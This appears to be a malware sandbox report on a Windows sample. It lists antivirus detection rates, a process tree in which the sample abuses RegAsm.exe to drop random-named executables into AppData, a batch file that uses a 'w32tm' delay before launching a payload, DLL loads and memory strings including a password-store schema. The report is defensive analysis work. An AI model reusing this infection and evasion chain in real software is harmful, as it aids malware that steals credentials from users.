                          Source: lS5FV3l3Wh.11.dr, OJH81o1NuD.11.dr, mXpqrARCMS.11.dr, IQq1DqAon6.11.dr, 5jwotma7O0.11.dr, ixawUazJlJ.11.dr, uz3OyeIL7X.11.dr, sj80G4yKH2.11.dr, xvO7yrpVwM.11.dr, oxcqYyd2Hj.11.dr, H7veoLcuwR.11.dr, hlH9MZdeHW.11.dr, QcH5b7BJwG.11.dr, D7PXdinwmq.11.dr, q6kNMYqA7I.11.dr, 1h9WP4Po4O.11.dr, VU79hg7mwH.11.dr, GJE1BKzVNF.11.dr, XHzMou3tq1.11.dr, bmrOCEwEHU.11.dr, CDP3iKaNiw.11.dr, NNFJBYhQAO.11.dr, PbykYD28im.11.dr, w5lFxFAyFN.11.dr, 1r0NkXJAMD.11.dr, 8asb4yK2ei.11.dr, QX5Sd3wBYV.11.dr, cHfeJ6fVhg.11.dr, ADA8yNSDM9.11.dr, IRc8GbU2GV.11.dr, KtbwxF5zz1.11.dr, Karu0SOkSL.11.dr, J66Pz5qYos.11.dr, EL7TlnhWC0.11.dr, yggfAyobt1.11.dr, hLfJsQNFuZ.11.dr, QMHwS62mWy.11.dr, nLsaSkaoK0.11.dr, uGV616xuXl.11.dr, LDuZ2EJKdY.11.dr, 9mX2DmeQnL.11.dr, DYYSbrbWCg.11.dr, z4Ys0ENzcY.11.dr, ju19XfaHp4.11.dr, 1DPeihx8BR.11.dr, Os35VwoHoM.11.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                          Source: file.exeVirustotal: Detection: 58%
                          Source: file.exeReversingLabs: Detection: 52%
                          Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                          Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\h7xZry2ICs.exe "C:\Users\user\AppData\Roaming\h7xZry2ICs.exe"
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe "C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe"
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat"
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe "C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe"
                          Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\h7xZry2ICs.exe "C:\Users\user\AppData\Roaming\h7xZry2ICs.exe" Jump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe "C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe" Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat" Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe "C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe" Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: aclayers.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptbase.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: propsys.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: edputil.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: urlmon.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iertutil.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: srvcli.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wintypes.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: appresolver.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcp47langs.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: slc.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sppc.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: mscoree.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: cryptsp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: rsaenh.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: cryptbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: ktmw32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: propsys.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: dlnashext.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: wpdshext.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: edputil.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: urlmon.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: iertutil.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: srvcli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: appresolver.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: bcp47langs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: slc.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: sppc.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                          Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                          Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                          Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: iphlpapi.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: logoncli.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: ntdsapi.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: mswsock.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: dnsapi.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: rasadhlp.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: fwpuclnt.dllJump to behavior
                          Source: C:\Windows\System32\w32tm.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: mscoree.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: cryptsp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: rsaenh.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: cryptbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ktmw32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: wbemcomn.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: amsi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: iphlpapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: dnsapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: dhcpcsvc6.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: dhcpcsvc.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: winnsi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: rasapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: rasman.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: rtutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: mswsock.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: winmm.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: mmdevapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: devobj.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ksuser.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: avrt.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: audioses.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: powrprof.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: umpdc.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: msacm32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: midimap.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: edputil.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: dwrite.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: windowscodecs.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeSection loaded: dpapi.dllJump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
                          Source: Window RecorderWindow detected: More than 3 window changes detected
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                          Source: file.exeStatic file information: File size 2578944 > 1048576
                          Source: file.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x23be00
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                          Source: file.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                          Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: fC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mountvol.pdbGCTL source: RegAsm.exe, 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, h7xZry2ICs.exe, 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe, 00000003.00000000.1732944489.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmp, h7xZry2ICs.exe.2.dr
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: nC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
